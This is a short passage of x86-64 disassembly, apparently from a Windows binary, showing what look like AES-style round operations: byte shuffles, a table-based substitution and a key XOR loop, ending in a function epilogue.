movzx eax, byte [rbx + 0xb]
mov byte [rbx + 7], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xb], al
mov byte [rbx + 0xf], cl
nop dword [rax + rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + r14]
mov byte [rcx - 4], al
sub rdx, 1
jne 0x140001920
inc r8
sub r9, 1
jne 0x140001910
lea edx, [r9 + 4]
mov ecx, 4
nop word [rax + rax]
movzx eax, byte [rbx + rsi]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x140001950
sub rdx, 1
jne 0x140001942
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret